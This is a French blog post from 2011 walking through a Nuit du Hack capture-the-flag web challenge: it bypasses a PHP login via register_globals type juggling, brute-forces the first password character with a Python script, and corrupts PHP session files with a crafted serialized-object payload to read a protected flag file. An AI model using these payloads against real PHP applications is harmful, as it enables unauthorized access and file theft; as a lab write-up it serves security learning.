mardi 18 janvier 2011

NDH WebApp Epreuve 8

Dans la catégorie WebApp du challenge public de la NDH, je ne parlerai que de l'épreuve 8, car on peut trouver des explications sur toutes les autres soit sur le blog de nibbles soit sur le blog de The lsd (Enjoy).

Cette épreuve a été réalisée par NiklosKoda et comme toujours avec lui, c'est une belle réussite qui nous montre à quel point un code apparemment simple peut malgré tout être vulnérable. D'autres épreuves de NiklosKoda peuvent être trouvées sur le site de newbiecontest comme WarezManiac, WebGalerie et la fabuleuse Randy's Forum (nécessite un compte). Une fois ces épreuves réalisées, je vous conseille d'aller faire un tour sur W3challs.

Bon maintenant que la pub est terminée, je vais pouvoir attaquer cette fameuse épreuve. Pour commencer les sources du site sont disponibles et ça en général ça veut dire qu'on a intérêt à être calé en bugs PHP ou en comportements un peu exotiques...

Première étape, on se munit d'un firefox bien configuré avec en particulier l'extension HackBar puis on va essayer de monter en local le site pour qu'il soit au maximum similaire à celui de l'épreuve (ce n'est pas nécessaire, mais ça aide bien pour faire des tests). Avec un peu de chance la version de PHP apparaît dans l'en-tête HTTP ou dans les fichiers d'erreur du serveur.

time0ut# curl -D - http://wargame.nuitduhack.com:8084/time.0ut
HTTP/1.1 404 Not Found
Date: Wed, 12 Jan 2011 19:58:34 GMT
Server: Apache/2.2.15
Vary: Accept-Encoding
Content-Length: 206
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /time.0ut was not found on this server.</p>

Bon bin ici, pas de chance on a aucune information sur PHP... la configuration a été faite pour filtrer ce genre d'informations... On va fonctionner en aveugle. Les différents challenges précédents tournaient avec un PHP 5.x, on va faire de même.

Maintenant à quoi ressemble ces sources :
time0ut# ls -lRA
.:
total 12
-rw-r----- 1 time0ut www-data  794 2011-01-10 23:44 admin.php
-rw-r----- 1 time0ut www-data  663 2010-12-31 00:40 index.php
drwxr-x--- 2 time0ut www-data 4096 2011-01-11 22:36 noway

./noway:
total 20
-rw-r----- 1 time0ut www-data 4561 2011-01-09 23:18 config.inc.php
-rw-r----- 1 time0ut www-data   16 2010-12-31 00:40 .htaccess
-rw-r----- 1 time0ut www-data   31 2011-01-11 22:36 th3_fl4g_is_h3rE.php
-rw-r----- 1 time0ut www-data  208 2010-12-31 00:40 websites.txt

time0ut# cat noway/.htaccess
deny from all

On remarque immédiatement le fichier th3_fl4g_is_h3rE.php qui contient le Saint Graal, bien protégé par un .htaccess. Bien entendu, le vrai contenu ne se trouve pas dans les sources, mais c'est l'objectif de l'épreuve : lire le contenu de ce fichier.
Après une analyse rapide du code source, on remarque que la seule fonction qui va nous permettre de voir le contenu de ce fichier est file_get_contents, appelée dans le destructeur de la classe MultiWebSiteHandler. Cette classe est appelée dans admin.php, il va donc falloir avant devenir administrateur sur le site.

La première étape va consister à passer l'authentification de index.php. Pour cela il faut traverser le check suivant :

require_once './noway/config.inc.php';

...

if ( isset($_POST['login'], $_POST['pass']) && is_string($_POST['login']) && !empty($_POST['login']) && ctype_alnum($_POST['login']) && is_string($_POST['pass']) && !empty($_POST['pass']) && ctype_alnum($_POST['pass'])  )
{
   $login = trim($_POST['login']);
   $pass = trim($_POST['pass']);

   if( $login == $config['login'] && $pass == $config['pass'] )
   {
      $sess->connectMe();
      $sess->goToAdmin();
La variable $config se trouve dans le fichier noway/config.inc.php et est initialisée comme suit (bien entendu les valeurs réelles ont été modifiées) :

$config['login'] = 'some_login_you_cant_guess...';
$config['pass'] = 'some_pass_youll_never_find...';
...


Ici pas de connexion à une base de données, aucune SQL injection... il faut se creuser la tête.

Qu'affiche le code suivant ?
$var = "some_text";
$var["foo"] = "Hello World !";
echo $var["foo"];
?>
Il affiche H !
Quelques explications ici sont nécessaires : Dans l'affectation $var["foo"] = "Hello World !"; $var est une chaîne de caractère et non un tableau. Du coup la chaine "foo" est implicitement transformée en entier et devient 0. $var["foo"] représente donc le premier caractère de la chaîne $var, soit H. Plus d'informations ici.

Dans le cas qui nous intéresse, si on passe config dans la requête HTTP (GET, POST ou COOKIE), on transforme donc $config en chaîne de caractères (seulement si register_globals est à ON) et donc $config['login'] sera égal à $config['pass'] qui sera égal à $config[0] et qui sera au final égal au premier caractère de 'some_pass_youll_never_find...'.
D'après le test fait dans index.php, 'some_pass_youll_never_find...' ne peut contenir que des caractères alphanumériques (ctype_alnum), donc au final il n'y a que 62 possibilités pour trouver la valeur $config['pass'] si config est passée en paramètre.

Un petit brute force permet de rapidement tester l'ensemble des possibilités :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib, urllib2, re, cookielib

def bf_become_admin():
   # Seuls caracteres possibles pour le login et le pass
   alphabet="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
   pattern = re.compile(r".*somehow.*",re.M);

   for char in range(len(alphabet)):
      #for pwd in range(len(alphabet)):
      # En mettant une valeur a config, ca devient une chaine de caractere et plus un tableau, du coup on teste juste le premier caractere
      # $config['login'] = 'some_login_you_cant_guess...'; devient $config[0] = 's';
      data = "config=some_text&login="+alphabet[char]+"&pass="+alphabet[char];

      req = urllib2.Request('http://wargame.nuitduhack.com:8084/index.php',data);
      r = urllib2.urlopen(req);

      d = r.read();

      if pattern.search(d) == None:
         print "Char: ",alphabet[char]
         return;

bf_become_admin();


Le caractère tant attendue est 3. Ce qui veut dire qu'un simple POST de ce type config=some_text&login=3&pass=3 sur la page index.php permet de devenir administrateur sur le site.

Remarque: A noter que empty("0") retourne vrai et donc si le mot de passe avait commencé par "0", le test de index.php ne serait pas passé, et il n'aurait pas été possible d'exploiter la faille.

Maintenant qu'il est possible d'être administrateur, il faut réussir à lire le flag. A première vue, ça va être compliquée car le chemin du fichier lu est écrit en dur dans le constructeur de la classe MultiWebSiteHandler définie dans config.inc.php.

$this->file = realpath('.').'/noway/websites.txt';


A priori impossible de modifier cela...

Commençons par essayer de comprendre dans quelles circonstances ce fichier va être lu. Comme dit précédemment il est lu par la fonction file_get_contents qui est appelée par la fonction parse, dans le destructeur de la classe MultiWebSiteHandler. Donc le fichier est lu quand l'objet créé dans admin.php est détruit, donc à la fin d'admin.php. Il faudrait être capable d'appeler le destructeur de l'objet, mais sans appeler le constructeur... pire, il faudrait être capable de créer l'objet que l'on veut, et qu'il soit ensuite détruit...

Là encore, il faut se creuser la tête... et faire des recherches sur le net, notamment sur le site the Month of PHP Security. Après de longues recherches et quelques litres de café, on tombe sur ce lien qui parle d'un bug PHP spécifique à certaines versions (5.2 <= 5.2.13 et 5.3 <= 5.3.2) et dont le but est de corrompre le fichier de sessions de PHP. Bon on ne sait pas si la version de PHP utilisée correspond, mais on a rien d'autre à se mettre sous la dent.

L'idée est simple (en tout cas après coup c'est simple :D), quand une session est créée par PHP, il construit un fichier dans lequel il sauvegardera toutes les données de session (les données seront serialisées). Lorsqu'une nouvelle page aura besoin de ces données, le fichier sera lu et les données seront déserialisées. Certaines versions de PHP ont un bug qui fait qu'il est possible dans des conditions très particulières, de corrompre ce fichier de session pour que quand il est relu par PHP, de nouvelles variables de session soient créées. Grâce à cela il devrait être possible de forger l'objet que l'on souhaite (sans appeler le constructeur puisque celui ci sera issue d'une sois disant sauvegarde de session).

Pour que l'exploitation de la vulnérabilité soit possible, il est nécessaire de pouvoir créer une variable de session (ça c'est classique), mais surtout de pouvoir choisir le nom de cette variable (ça c'est de suite moins commun). L'exploit consiste ensuite à faire commencer le nom de la variable par un "!" (PS_UNDEF_MARKER), du coup PHP s'embrouille dans son parsing du fichier. Heureusement ici, c'est le cas dans le fichier admin.php :

...
if( isset($_GET['site'], $_GET['sessAdmin'], $_GET['sessValue']) && is_string($_GET['site']) && is_string($_GET['sessAdmin']) && is_string($_GET['sessValue']) )
{
   $sess->set($_GET['sessAdmin'].'_session_admin_', $_GET['sessValue'], true);
...
?>

En faisant commencer la variable sessAdmin passée en GET avec un "!", PHP va s'embrouiller. Et il sera possible avec la variable sessValue, de créer notre objet (ici un MultiWebSiteHandler avec le paramètre file à noway/th3_fl4g_is_h3rE.php) qui affichera le fichier tant attendu. sessValue doit être de la forme |nom_variable|structure_serialisée.

En résumé les étapes pour l'exploitation sont les suivantes :

  • Action utilisateur : Authentification en tant qu'admin en passant config en paramètre
  • Action utilisateur : Appel de la page admin.php en passant les paramètres sessAdmin et sessValue structurés de la bonne façon.
  • Action PHP : Exécution du script PHP puis à la fin sauvegarde des paramètres de session dans un fichier
  • Action utilisateur : Rechargement de la page
  • Action PHP : Récupération des paramètres de session dans le fichier (et du coup récupération de variables de session malveillantes), exécution du script puis à la fin appel des destructeurs et exécution du code malveillant
La requête effectuée pour passer les paramètres sessAdmin et sessValue est la suivante :

GET /admin.php?site=site1&sessAdmin=!&sessValue=|evil_object|O:19:"MultiWebSiteHandler":4:{s:25:"MultiWebSiteHandlerfile";s:26:"noway/th3_fl4g_is_h3rE.php";s:25:"MultiWebSiteHandlerdata";s:0:"";s:25:"MultiWebSiteHandlerhtml";O:7:"Display":2:{s:14:"Displaytitle";s:14:"Administration";s:13:"Displaybody";s:0:"";}s:25:"MultiWebSiteHandlersess";O:14:"SessionHandler":3:{s:25:"SessionHandlerindexPage";s:9:"index.php";s:25:"SessionHandleradminPage";s:9:"admin.php";s:24:"SessionHandlerdestruct";b:0;}}


Pour information dans le cas d'un appel normal lors d'un appel à la page admin.php avec les paramètres site=site1&sessAdmin=_site1_&sessValue=Admin le contenu des variables de session est :

_iAmFr34KinAdmin_ => 1

_site1__session_admin_ => Admin

Et le contenu du fichier de session est (le nom des variables est en bleu) :
_iAmFr34KinAdmin_|b:1;_site1__session_admin_|s:5:"Admin";
Dans le cas de notre appel malicieux, l'exploitation de la vulnérabilité aura pour objectif d'avoir un fichier de session ressemblant à ça :
_iAmFr34KinAdmin_|b:1;!_session_admin_|s:467:"|evil_object|O:19:"MultiWebSiteHandler":4:{s:25:"MultiWebSiteHandlerfile";s:26:"noway/th3_fl4g_is_h3rE.php";s:25:"MultiWebSiteHandlerdata";s:0:"";s:25:"MultiWebSiteHandlerhtml";O:7:"Display":2:{s:14:"Displaytitle";s:14:"Administration";s:13:"Displaybody";s:0:"";}s:25:"MultiWebSiteHandlersess";O:14:"SessionHandler":3:{s:25:"SessionHandlerindexPage";s:9:"index.php";s:25:"SessionHandleradminPage";s:9:"admin.php";s:24:"SessionHandlerdestruct";b:0;}}";

2 commentaires:

  1. Oh mon dieu ! On parle de moi :)

    Je n'ai pas encore lu ton article , puisque je dois toujours résoudre cette épreuve (beh ui hein, pas le temps toussa toussa). Mais dès que je l'ai résolu, t'auras mon feedback.

    En tout cas, ca fait plaisir d'être cité !

    Enjoy

    The lsd

    RépondreSupprimer
  2. Normal tes write up étaient très intéressants ;)
    Merci d'avance pour ton futur feedback.

    Enjoy ;)

    RépondreSupprimer